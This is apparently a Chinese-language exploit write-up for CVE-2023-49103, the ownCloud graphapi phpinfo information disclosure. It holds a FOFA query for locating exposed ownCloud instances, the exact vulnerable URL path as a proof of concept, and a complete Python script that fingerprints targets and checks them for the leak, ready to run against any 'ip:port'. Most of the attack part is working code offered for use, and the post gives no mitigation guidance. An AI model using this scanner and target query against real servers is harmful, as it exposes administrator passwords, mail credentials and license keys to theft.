漏洞简介
ownCloud owncloud/graphapi 0.2.x在0.2.1之前和0.3.x在0.3.1之前存在漏洞。graphapi应用程序依赖于提供URL的第三方GetPhpInfo.php库。当访问此URL时，会显示PHP环境的配置详细信息（phpinfo）。此信息包括Web服务器的所有环境变量，包括敏感数据，如ownCloud管理员密码、邮件服务器凭据和许可证密钥。
| 漏洞等级 | 高危 |
| 影响版本 | ownCloud/graphapi 0.2.x < 0.2.1 ownCloud/graphapi 0.3.x < 0.3.1 |
| 漏洞类型 | 信息泄露 |
产品简介
OwnCloud 是一个开源的私有云存储/网盘项目，OwnCloud 跨平台支持 Windows、Mac、Android、iOS、Linux 等平台，而且还提供了「网页版」以及 WebDAV 形式访问，因此你几乎可以在任何电脑、手机设备上都能轻松获取和访问你的文件文档，从而实现跨平台跨设备文件同步、共享、版本控制、团队协作等功能。
网络测绘
FOFA：app="ownCloud"
漏洞复现
手动验证POC
ip:port/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php注意：当url存在/owncloud/时，poc需要将该路径保留
即POC为
ip:port/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.phppython扫描验证脚本
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
@Project ：漏洞复现POC
@File ：【CVE-2023-49103】ownCloud graphapi信息泄露漏洞.py
@Author ：星之尘
@Date ：2023/11/28 15:24
@脚本说明：
"""
import requests
from requests import Timeout
from urllib3.exceptions import InsecureRequestWarning
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
}
def verification(url):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
path1 = "/index.php/login"
path2 = "/owncloud/index.php/login"
encodetext1 = url + path1
encodetext2 = url + path2
finger_url = [encodetext2, encodetext1]
for url in finger_url:
req1 = requests.get(url, headers=headers, verify=False, timeout=20)
if "ownCloud" in req1.text:
return url
return False
def scan():
verification_url = verification(url)
print(f"扫描目标: {verification_url}")
print("---------------------------------------------------")
try:
if "owncloud" in verification_url:
exp_path = "/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php"
else:
exp_path = "/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php"
exp=url + exp_path
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req2 = requests.post(exp, headers=headers, verify=False, timeout=20)
if req2.status_code == 200 and "phpinfo()" in req2.text:
print(f"[+] {url} ！！！存在【CVE-2023-49103】ownCloud graphapi信息泄露漏洞！！！;")
else:
print(f"[-] {url} 不存在【CVE-2023-49103】ownCloud graphapi信息泄露漏洞")
except Timeout:
print(f"[!] 请求超时，跳过URL: {url}", "yellow")
except Exception as e:
if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
print(f"[-] {url} 证书校验错误或者证书被拒绝")
else:
print(str(e))
if __name__ == "__main__":
url = "your ip:port"
verification(url)
scan()
